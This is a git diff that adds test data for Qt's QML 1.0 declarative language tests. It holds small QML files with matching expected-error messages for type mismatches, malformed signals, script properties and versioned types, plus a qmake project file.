diff --git a/tests/auto/declarative/qdeclarativelanguage/data/revisions11.qml b/tests/auto/declarative/qdeclarativelanguage/data/revisions11.qml
new file mode 100644
index 00000000..4d3d7d2a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/revisions11.qml
@@ -0,0 +1,10 @@
+import QtQuick 1.0
+import Test 1.1
+
+MyRevisionedClass
+{
+ prop1: 1
+ prop2: 10
+
+ onSignal2: prop2 = 3
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/revisionsbasesub11.qml b/tests/auto/declarative/qdeclarativelanguage/data/revisionsbasesub11.qml
new file mode 100644
index 00000000..57d76b1c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/revisionsbasesub11.qml
@@ -0,0 +1,16 @@
+import QtQuick 1.0
+import Test 1.1
+
+MyRevisionedSubclass
+{
+ propA: 10
+ propB: 10
+ propC: 10
+ // propD is not registered in 1.1
+ prop1: 10
+ prop2: 10
+ prop3: 10
+ prop4: 10
+
+ onSignal4: prop4 = 2
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/revisionssub11.qml b/tests/auto/declarative/qdeclarativelanguage/data/revisionssub11.qml
new file mode 100644
index 00000000..f107356e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/revisionssub11.qml
@@ -0,0 +1,12 @@
+import QtQuick 1.0
+import Test 1.1
+
+MyRevisionedSubclass
+{
+ prop1: 10
+ prop2: 10
+ prop3: 10
+ prop4: 10
+
+ onSignal4: prop4 = 2
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/rootAsQmlComponent.qml b/tests/auto/declarative/qdeclarativelanguage/data/rootAsQmlComponent.qml
new file mode 100644
index 00000000..8d72cd38
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/rootAsQmlComponent.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+MyContainerComponent {
+ x: 11
+ MyQmlObject {}
+ MyQmlObject {}
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/scriptString.1.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/scriptString.1.errors.txt
new file mode 100644
index 00000000..14463e09
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/scriptString.1.errors.txt
@@ -0,0 +1 @@
+4:21:Invalid property assignment: script expected
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/scriptString.1.qml b/tests/auto/declarative/qdeclarativelanguage/data/scriptString.1.qml
new file mode 100644
index 00000000..f07d2231
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/scriptString.1.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+
+MyTypeObject {
+ scriptProperty: MyTypeObject {}
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/scriptString.2.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/scriptString.2.errors.txt
new file mode 100644
index 00000000..f8a776f9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/scriptString.2.errors.txt
@@ -0,0 +1 @@
+4:40:Cannot assign multiple values to a script property
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/scriptString.2.qml b/tests/auto/declarative/qdeclarativelanguage/data/scriptString.2.qml
new file mode 100644
index 00000000..dc825c75
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/scriptString.2.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+
+MyTypeObject {
+ scriptProperty: [ MyTypeObject {}, MyTypeObject {} ]
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/scriptString.qml b/tests/auto/declarative/qdeclarativelanguage/data/scriptString.qml
new file mode 100644
index 00000000..40a3bbee
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/scriptString.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+
+MyTypeObject {
+ scriptProperty: foo + bar
+ grouped.script: console.log(1921)
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/scriptString2.qml b/tests/auto/declarative/qdeclarativelanguage/data/scriptString2.qml
new file mode 100644
index 00000000..c42da2b9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/scriptString2.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+
+MyTypeObject {
+ scriptProperty: "hello\n\"world\""
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/scriptString3.qml b/tests/auto/declarative/qdeclarativelanguage/data/scriptString3.qml
new file mode 100644
index 00000000..0cd82ff5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/scriptString3.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+
+MyTypeObject {
+ scriptProperty: 12.345
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/scriptString4.qml b/tests/auto/declarative/qdeclarativelanguage/data/scriptString4.qml
new file mode 100644
index 00000000..3e2f9a49
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/scriptString4.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+
+MyTypeObject {
+ scriptProperty: true
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/signal.1.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/signal.1.errors.txt
new file mode 100644
index 00000000..78d99601
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/signal.1.errors.txt
@@ -0,0 +1 @@
+4:12:Expected parameter type
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/signal.1.qml b/tests/auto/declarative/qdeclarativelanguage/data/signal.1.qml
new file mode 100644
index 00000000..7d1a9db2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/signal.1.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+QtObject {
+ signal mySignal(nontype a)
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/signal.2.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/signal.2.errors.txt
new file mode 100644
index 00000000..fce89285
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/signal.2.errors.txt
@@ -0,0 +1 @@
+4:21:Unexpected token `;'
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/signal.2.qml b/tests/auto/declarative/qdeclarativelanguage/data/signal.2.qml
new file mode 100644
index 00000000..e7780a05
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/signal.2.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+QtObject {
+ signal mySignal(,)
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/signal.3.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/signal.3.errors.txt
new file mode 100644
index 00000000..bf043ac8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/signal.3.errors.txt
@@ -0,0 +1 @@
+4:22:Expected token `identifier'
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/signal.3.qml b/tests/auto/declarative/qdeclarativelanguage/data/signal.3.qml
new file mode 100644
index 00000000..4289bce2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/signal.3.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+QtObject {
+ signal mySignal(a)
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/signal.4.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/signal.4.errors.txt
new file mode 100644
index 00000000..d96f9e3e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/signal.4.errors.txt
@@ -0,0 +1 @@
+3:1:Signal names cannot begin with an upper case letter
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/signal.4.qml b/tests/auto/declarative/qdeclarativelanguage/data/signal.4.qml
new file mode 100644
index 00000000..6ce417db
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/signal.4.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+QtObject {
+ signal MySignal
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/simpleBindings.qml b/tests/auto/declarative/qdeclarativelanguage/data/simpleBindings.qml
new file mode 100644
index 00000000..2fcd1a5a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/simpleBindings.qml
@@ -0,0 +1,18 @@
+import Test 1.0
+MyTypeObject {
+ id: me
+ property int v1: 10
+ property int v2: 11
+
+ property int value1
+ property int value2
+ property int value3
+ property int value4
+
+ value1: v1
+ value2: me.v1
+ value3: v1 + v2
+ value4: Math.min(v1, v2)
+
+ objectProperty: me
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/simpleContainer.qml b/tests/auto/declarative/qdeclarativelanguage/data/simpleContainer.qml
new file mode 100644
index 00000000..c3a795f5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/simpleContainer.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+MyContainer {
+ MyQmlObject {}
+ MyQmlObject {}
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/simpleObject.qml b/tests/auto/declarative/qdeclarativelanguage/data/simpleObject.qml
new file mode 100644
index 00000000..30c78237
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/simpleObject.qml
@@ -0,0 +1,2 @@
+import Test 1.0
+MyQmlObject {}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/singularProperty.2.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/singularProperty.2.errors.txt
new file mode 100644
index 00000000..beae562f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/singularProperty.2.errors.txt
@@ -0,0 +1 @@
+5:10:Cannot assign multiple values to a singular property
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/singularProperty.2.qml b/tests/auto/declarative/qdeclarativelanguage/data/singularProperty.2.qml
new file mode 100644
index 00000000..2fd7fd2b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/singularProperty.2.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+QtObject {
+ property QtObject a
+ a: [ QtObject {}, QtObject {} ]
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/singularProperty.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/singularProperty.errors.txt
new file mode 100644
index 00000000..beae562f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/singularProperty.errors.txt
@@ -0,0 +1 @@
+5:10:Cannot assign multiple values to a singular property
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/singularProperty.qml b/tests/auto/declarative/qdeclarativelanguage/data/singularProperty.qml
new file mode 100644
index 00000000..da56cb82
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/singularProperty.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+QtObject {
+ property variant a
+ a: [ QtObject {}, QtObject {} ]
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/subdir/Test.qml b/tests/auto/declarative/qdeclarativelanguage/data/subdir/Test.qml
new file mode 100644
index 00000000..0b054d02
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/subdir/Test.qml
@@ -0,0 +1,2 @@
+import QtQuick 1.0
+Rectangle { }
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/subdir/subsubdir/SubTest.qml b/tests/auto/declarative/qdeclarativelanguage/data/subdir/subsubdir/SubTest.qml
new file mode 100644
index 00000000..0b054d02
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/subdir/subsubdir/SubTest.qml
@@ -0,0 +1,2 @@
+import QtQuick 1.0
+Rectangle { }
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/test.js b/tests/auto/declarative/qdeclarativelanguage/data/test.js
new file mode 100644
index 00000000..e69de29b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/test.js
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/test2.js b/tests/auto/declarative/qdeclarativelanguage/data/test2.js
new file mode 100644
index 00000000..e69de29b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/test2.js
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/unregisteredObject.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/unregisteredObject.errors.txt
new file mode 100644
index 00000000..10e5fb2d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/unregisteredObject.errors.txt
@@ -0,0 +1 @@
+2:1:UnregisteredObjectType is not a type
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/unregisteredObject.qml b/tests/auto/declarative/qdeclarativelanguage/data/unregisteredObject.qml
new file mode 100644
index 00000000..4969f62a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/unregisteredObject.qml
@@ -0,0 +1,2 @@
+import Test 1.0
+UnregisteredObjectType {}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/unsupportedProperty.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/unsupportedProperty.errors.txt
new file mode 100644
index 00000000..3cd626de
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/unsupportedProperty.errors.txt
@@ -0,0 +1 @@
+3:13:Invalid property assignment: unsupported type "QMatrix"
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/unsupportedProperty.qml b/tests/auto/declarative/qdeclarativelanguage/data/unsupportedProperty.qml
new file mode 100644
index 00000000..9f196803
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/unsupportedProperty.qml
@@ -0,0 +1,4 @@
+import Test 1.0
+MyQmlObject {
+ matrix: "1,0,0,0,1,0,0,0,1"
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/valueTypes.qml b/tests/auto/declarative/qdeclarativelanguage/data/valueTypes.qml
new file mode 100644
index 00000000..bf325a74
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/valueTypes.qml
@@ -0,0 +1,13 @@
+import Test 1.0
+MyTypeObject {
+ rectProperty.x: 10
+ rectProperty.y: 11
+ rectProperty.width: rectProperty.x + 2
+ rectProperty.height: 13
+
+ intProperty: rectProperty.x
+
+ onAction: { var a = rectProperty; a.x = 12; }
+
+ rectProperty2: rectProperty
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/variantNotify.qml b/tests/auto/declarative/qdeclarativelanguage/data/variantNotify.qml
new file mode 100644
index 00000000..cc3f1c25
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/variantNotify.qml
@@ -0,0 +1,13 @@
+import QtQuick 1.0
+
+QtObject {
+ property int notifyCount: 0
+
+ property variant foo
+ onFooChanged: notifyCount++
+
+ Component.onCompleted: {
+ foo = 1;
+ foo = 1;
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/versionedbase.qml b/tests/auto/declarative/qdeclarativelanguage/data/versionedbase.qml
new file mode 100644
index 00000000..8c747157
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/versionedbase.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+import Test 1.1
+
+MySubclass
+{
+ prop1: 10
+ prop2: 10
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/wrongType.1.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.1.errors.txt
new file mode 100644
index 00000000..ba7a0766
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.1.errors.txt
@@ -0,0 +1 @@
+3:12:Invalid property assignment: int expected
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/wrongType.1.qml b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.1.qml
new file mode 100644
index 00000000..289d37f0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.1.qml
@@ -0,0 +1,4 @@
+import Test 1.0
+MyQmlObject {
+ value: "hello"
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/wrongType.10.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.10.errors.txt
new file mode 100644
index 00000000..ae75b528
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.10.errors.txt
@@ -0,0 +1 @@
+3:23:Invalid property assignment: datetime expected
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/wrongType.10.qml b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.10.qml
new file mode 100644
index 00000000..2cf0e502
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.10.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+MyTypeObject {
+ dateTimeProperty: 12
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/wrongType.11.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.11.errors.txt
new file mode 100644
index 00000000..23a4cda4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.11.errors.txt
@@ -0,0 +1 @@
+3:20:Invalid property assignment: point expected
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/wrongType.11.qml b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.11.qml
new file mode 100644
index 00000000..ae77ba1f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.11.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+MyTypeObject {
+ pointProperty: "apples"
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/wrongType.12.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.12.errors.txt
new file mode 100644
index 00000000..30921002
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.12.errors.txt
@@ -0,0 +1 @@
+3:19:Invalid property assignment: size expected
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/wrongType.12.qml b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.12.qml
new file mode 100644
index 00000000..b7a366f5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.12.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+MyTypeObject {
+ sizeProperty: "red"
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/wrongType.13.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.13.errors.txt
new file mode 100644
index 00000000..ba7a0766
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.13.errors.txt
@@ -0,0 +1 @@
+3:12:Invalid property assignment: int expected
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/wrongType.13.qml b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.13.qml
new file mode 100644
index 00000000..477aff1d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.13.qml
@@ -0,0 +1,4 @@
+import Test 1.0
+MyQmlObject {
+ value: "12"
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/wrongType.14.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.14.errors.txt
new file mode 100644
index 00000000..d621fdd6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.14.errors.txt
@@ -0,0 +1 @@
+3:21:Invalid property assignment: string expected
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/wrongType.14.qml b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.14.qml
new file mode 100644
index 00000000..672d693c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.14.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+MyTypeObject {
+ stringProperty: 10
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/wrongType.15.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.15.errors.txt
new file mode 100644
index 00000000..44768e30
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.15.errors.txt
@@ -0,0 +1 @@
+3:18:Invalid property assignment: url expected
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/wrongType.15.qml b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.15.qml
new file mode 100644
index 00000000..633a5ba2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.15.qml
@@ -0,0 +1,4 @@
+import Test 1.0
+MyTypeObject {
+ urlProperty: 12
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/wrongType.16.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.16.errors.txt
new file mode 100644
index 00000000..77cf2109
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.16.errors.txt
@@ -0,0 +1 @@
+4:24:Cannot assign object to property
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/wrongType.16.qml b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.16.qml
new file mode 100644
index 00000000..0699d67d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.16.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+import QtQuick 1.0
+MyQmlObject {
+ qmlobjectProperty: QtObject {}
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/wrongType.2.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.2.errors.txt
new file mode 100644
index 00000000..9ff9f250
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.2.errors.txt
@@ -0,0 +1 @@
+3:14:Invalid property assignment: boolean expected
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/wrongType.2.qml b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.2.qml
new file mode 100644
index 00000000..34b74f7e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.2.qml
@@ -0,0 +1,4 @@
+import Test 1.0
+MyQmlObject {
+ enabled: 5
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/wrongType.3.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.3.errors.txt
new file mode 100644
index 00000000..6d971c64
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.3.errors.txt
@@ -0,0 +1 @@
+3:11:Invalid property assignment: rect expected
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/wrongType.3.qml b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.3.qml
new file mode 100644
index 00000000..384181a1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.3.qml
@@ -0,0 +1,4 @@
+import Test 1.0
+MyQmlObject {
+ rect: "5,5x10"
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/wrongType.4.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.4.errors.txt
new file mode 100644
index 00000000..ef34d0ea
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.4.errors.txt
@@ -0,0 +1 @@
+3:19:Invalid property assignment: unknown enumeration
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/wrongType.4.qml b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.4.qml
new file mode 100644
index 00000000..0787bf5f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.4.qml
@@ -0,0 +1,4 @@
+import Test 1.0
+MyTypeObject {
+ enumProperty: "InvalidEnumName"
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/wrongType.5.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.5.errors.txt
new file mode 100644
index 00000000..cab10bdd
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.5.errors.txt
@@ -0,0 +1 @@
+3:19:Invalid property assignment: unsigned int expected
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/wrongType.5.qml b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.5.qml
new file mode 100644
index 00000000..c50ae9a2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.5.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+MyTypeObject {
+ uintProperty: -13
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/wrongType.6.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.6.errors.txt
new file mode 100644
index 00000000..d2b8c54c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.6.errors.txt
@@ -0,0 +1 @@
+3:19:Invalid property assignment: number expected
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/wrongType.6.qml b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.6.qml
new file mode 100644
index 00000000..da10b789
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.6.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+MyTypeObject {
+ realProperty: "Hello"
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/wrongType.7.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.7.errors.txt
new file mode 100644
index 00000000..614346bd
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.7.errors.txt
@@ -0,0 +1 @@
+3:20:Invalid property assignment: color expected
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/wrongType.7.qml b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.7.qml
new file mode 100644
index 00000000..ddc38351
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.7.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+MyTypeObject {
+ colorProperty: 12
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/wrongType.8.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.8.errors.txt
new file mode 100644
index 00000000..1773c008
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.8.errors.txt
@@ -0,0 +1 @@
+3:19:Invalid property assignment: date expected
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/wrongType.8.qml b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.8.qml
new file mode 100644
index 00000000..a5f67563
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.8.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+MyTypeObject {
+ dateProperty: 12
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/wrongType.9.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.9.errors.txt
new file mode 100644
index 00000000..8630975c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.9.errors.txt
@@ -0,0 +1 @@
+3:19:Invalid property assignment: time expected
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/wrongType.9.qml b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.9.qml
new file mode 100644
index 00000000..a3db7326
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/wrongType.9.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+MyTypeObject {
+ timeProperty: 12
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/qdeclarativelanguage.pro b/tests/auto/declarative/qdeclarativelanguage/qdeclarativelanguage.pro
new file mode 100644
index 00000000..cae85a7b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/qdeclarativelanguage.pro
@@ -0,0 +1,22 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+QT += script network
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativelanguage.cpp \
+ testtypes.cpp
+HEADERS += testtypes.h
+
+INCLUDEPATH += ../shared/
+HEADERS += ../shared/testhttpserver.h
+SOURCES += ../shared/testhttpserver.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
diff --git a/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/LocalInternal.qml b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/LocalInternal.qml
new file mode 100644
index 00000000..289cd216
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/LocalInternal.qml
@@ -0,0 +1,3 @@
+import QtQuick 1.0
+
+Image { source: "pics/blue.png" }
diff --git a/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/Test.qml b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/Test.qml
new file mode 100644
index 00000000..0b054d02
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/Test.qml
@@ -0,0 +1,2 @@
+import QtQuick 1.0
+Rectangle { }
diff --git a/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/TestLocal.qml b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/TestLocal.qml
new file mode 100644
index 00000000..11443ca6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/TestLocal.qml
@@ -0,0 +1 @@
+LocalInternal {}
diff --git a/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/TestNamed.qml b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/TestNamed.qml
new file mode 100644
index 00000000..672cb8f2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/TestNamed.qml
@@ -0,0 +1 @@
+NamedLocal { }
diff --git a/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/TestSubDir.qml b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/TestSubDir.qml
new file mode 100644
index 00000000..0dfede40
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/TestSubDir.qml
